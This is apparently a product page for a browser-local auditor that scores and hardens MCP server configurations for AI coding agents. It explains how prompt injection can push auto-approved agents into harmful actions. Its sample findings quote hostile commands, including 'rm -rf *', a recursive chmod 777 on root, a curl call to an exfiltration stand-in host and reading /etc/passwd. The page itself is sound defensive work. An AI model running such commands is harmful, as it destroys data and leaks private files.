Audit, score, and security-harden Model Context Protocol (MCP) server configurations, tool argument schemas, and auto-approved commands for Claude, Cursor, and Windsurf agents. Eliminate prompt injection hazards and unconstrained file access with 100% in-browser privacy.
Audit Model Context Protocol server configurations, tool argument schemas, and auto-approved commands for dangerous permissions, root path access, and unmasked secrets.
An MCP server is granted full access to the system root directory ('/' or 'C:\').
💡 Rec: Restrict filesystem paths to explicit workspace directories (e.g., '/Users/dev/project').
All tools ('*') are auto-approved without user confirmation.
💡 Rec: Enforce explicit whitelists for safe read-only tools (e.g., ['read_file', 'list_directory']).
Auto-approving destructive or shell execution commands like "rm -rf *" enables prompt injection risks.
💡 Rec: Remove destructive commands from auto-approval list. Require manual user confirmation.
Auto-approving destructive or shell execution commands like "sudo chmod -R 777 /" enables prompt injection risks.
💡 Rec: Remove destructive commands from auto-approval list. Require manual user confirmation.
Auto-approving destructive or shell execution commands like "curl http://malicious-domain.com/exfil" enables prompt injection risks.
💡 Rec: Remove destructive commands from auto-approval list. Require manual user confirmation.
Apply these security constraints to eliminate prompt injection vulnerabilities and restrict agent execution boundaries:
Never auto-approve shell execution tools. Limit command lists to non-destructive read actions like `npm test` or `git status`.
Replace root directories (`/`) with explicit project folder trees (e.g. `./workspace`) to prevent system file tampering.
Move inline secrets out of JSON configs into local environment variables (`process.env.API_KEY`).
The Model Context Protocol (MCP) enables frontier AI models (such as Claude 3.7 Sonnet or DeepSeek R1) to interface with local desktop tools, command-line binaries, and internal databases. However, granting AI agents unconstrained execution privileges—such as root directory access (/) or wildcards (*) on terminal commands—exposes developer environments to severe prompt injection and data exfiltration threats.
The HiMat MCP Security & Permission Auditor evaluates mcp.json, .claude.json, and .cursor/mcp.json manifest files against official JSON-RPC 2.0 security specifications. It pinpoints dangerous wildcard parameters, unmasked API keys, unescaped shell inputs, and unconstrained path traversal, providing instant 1-click security hardening.
Zero backend uploads. Proprietary MCP server configurations, tool argument schemas, local file paths, and environment tokens are audited 100% in local browser memory.
Parses and lints `.claude.json`, `.cursor/mcp.json`, `mcp.json`, and stdio/HTTP server manifests against official MCP JSON-RPC 2.0 security specifications.
Computes a weighted security risk score with Critical, High, Medium, and Low severity tags, highlighting exact line numbers and vulnerability descriptions.
One-click auto-remediation that strips unconstrained wildcards (`*`), auto-sanitizes shell execution parameters, restricts filesystem roots, and injects input boundaries.
Export sanitized `.claude.json`, `.cursor/mcp.json`, and ready-to-use TypeScript (@modelcontextprotocol/sdk) or Python guardrail middleware.
Includes pre-configured vulnerability test scenarios for Filesystem MCP, Shell Command MCP, Postgres Database MCP, and Web Scraper MCP.
It is a browser-local security linter and policy hardener for Model Context Protocol (MCP) servers and AI client configurations (Claude Desktop, Cursor, Windsurf). It identifies dangerous command permissions, unconstrained file access, unmasked secrets, and malformed schemas before AI agents execute tools.
If an AI client is configured with auto-approved terminal commands or unconstrained tool parameters (e.g. `rm -rf *` or `cat /etc/passwd`), a prompt injection attack can trick the AI agent into executing destructive commands or exfiltrating private files without user confirmation.
No. The HiMat MCP Security & Permission Auditor operates 100% locally in your web browser. Neither your configuration files, local folder paths, tool arguments, nor API credentials ever leave your machine.
Our local hardening engine converts wildcards into explicit folder paths, enforces whitelist constraints on `autoApprovedCommands`, injects input bounds into parameter schemas, and redacts exposed credentials (`sk-`, `ghp_`) with safe placeholders.
Continue with related utilities, services, and guides from HiMat.
HiMat Technologies designs production-grade, eval-gated AI agents, Model Context Protocol servers, and enterprise workflow automation systems with strict security boundaries.